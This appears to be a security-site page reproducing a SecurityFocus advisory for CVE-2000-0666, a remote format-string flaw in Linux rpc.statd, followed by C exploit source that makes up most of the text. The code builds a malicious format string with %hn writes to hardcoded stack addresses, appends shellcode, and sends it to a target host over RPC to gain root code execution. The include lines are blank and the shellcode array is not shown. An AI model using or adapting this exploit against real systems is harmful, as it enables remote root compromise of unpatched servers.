linux rpc漏洞溢出攻击测试,CVE-2000-0666 Linux rpc.statd远程格式串溢出漏洞-漏洞情报、漏洞详情、安全漏洞、CVE - 安全客，安全资讯平台...

source: http://www.securityfocus.com/bid/1480/info

A vulnerability exists in the 'rpc.statd' program, which is part of the 'nfs-utils' package that is shipped with a number of popular Linux distributions. Because of a format-string vulnerability when calling the 'syslog()' function, a remote attacker can execute code as root.

The 'rpc.statd' server is an RPC server that implements the Network Status and Monitor RPC protocol. It's a component of the Network File System (NFS) architecture.

The logging code in 'rpc.statd' uses the 'syslog()' function, passing it as the format string user-supplied data. A malicious user can construct a format string that injects executable code into the process address space and overwrites a function's return address, thus forcing the program to execute the code.

The 'rpc.statd' server requires root privileges for opening its network socket, but fails to drop these privileges later on. Therefore, code run by the malicious user will execute with root privileges.

Debian, Red Hat, and Connectiva have all released advisories. Presumably, any Linux distribution that runs the statd process is vulnerable unless patched for the problem.

/*

* Slightly dysfunctional rpc.statd exploit

* for all the dysfunctional script kiddies out there

*

* Author: drow, 07/2000

*

* And just for kicks...

* Greets:

* Chris Evans, whose fault all this is

* whoever wrote the old solaris statd exploit I ripped the RPC code out of

* send out greetz to all the 1337 D3B14N H4X0R2!!!!

* and THEM (THEY know who THEY are)

*

*

* This is dedicated to Joel Klecker. Those who knew him know why.

*

*/

#include

#include

#include

#include

#include

#include

#include

#include

void usage(char *s) {

printf("Usage: %s host [-nopoke]\n", s);

exit(0);

}

extern char shell[];

main(int argc, char *argv[]) {

CLIENT *cl;

enum clnt_stat stat;

struct timeval tm;

struct mon monreq;

struct sm_stat_res monres;

struct hostent *hp;

struct sockaddr_in target;

int sd, i, noplen=strlen(nop), nopoke=0;

char *ptr=code, *p2, code[4096];

if (argc < 2)

usage(argv[0]);

if (argc > 2)

nopoke = 1;

/* Alignment */

strcpy(ptr, "AAA");

ptr += strlen(ptr);

/* Target to write to! */

*(unsigned long *)(ptr) = 0x7fffeb04;

ptr += sizeof(unsigned long);

/* pad */

*(unsigned long *)(ptr) = 0x11111111;

ptr += sizeof(unsigned long);

/* Target Two (two higher in memory probably) */

*(unsigned long *)(ptr) = 0x7fffeb06;

ptr += sizeof(unsigned long);

for(i = 0; i < 46-1; i++) {

strcpy(ptr, "%12d");

ptr += strlen(ptr);

}

if(!nopoke) {

/* Value to write - amount written */

/* Guess a bit - remember to leave a lot of padding, and be lucky on alignment */

/* Don't correct for IP address! Forced to localhost by stat code - same length. */

#define HIGH 0x7fff

#define LOW 0xeecc

sprintf(ptr, "%%%dd%%hn", HIGH - 12*45

- strlen("STAT_FAIL to 127.0.0.1 for SM_MON of AAABBBB1111CCCC"));

ptr += strlen(ptr);

sprintf(ptr, "%%%dd%%hn", (LOW - HIGH) % 65536);

ptr += strlen(ptr);

/* CODE */

p2 = shell;

while(*p2)

*(ptr++) = *(p2++);

}

*(ptr++) = 0;

memset(&monreq, 0, sizeof(monreq));

monreq.mon_id.my_id.my_name="localhost";

monreq.mon_id.my_id.my_prog=0;

monreq.mon_id.my_id.my_vers=0;

monreq.mon_id.my_id.my_proc=0;

monreq.mon_id.mon_name= code /*code*/;

if ((hp=gethostbyname(argv[1])) == NULL) {

printf("Can't resolve %s\n", argv[1]);

exit(0);

}

target.sin_family=AF_INET;

target.sin_addr.s_addr=*(u_long *)hp->h_addr;

target.sin_port=0; /* ask portmap */

sd=RPC_ANYSOCK;

tm.tv_sec=10;

tm.tv_usec=0;

if ((cl=clntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) == NULL) {

clnt_pcreateerror("clnt_create");

exit(0);

}

stat=clnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res,

(char *)&monres, tm);

if (stat != RPC_SUCCESS)

clnt_perror(cl, "clnt_call");

else

printf("stat_res = %d.\n", monres.res_stat);

clnt_destroy(cl);

}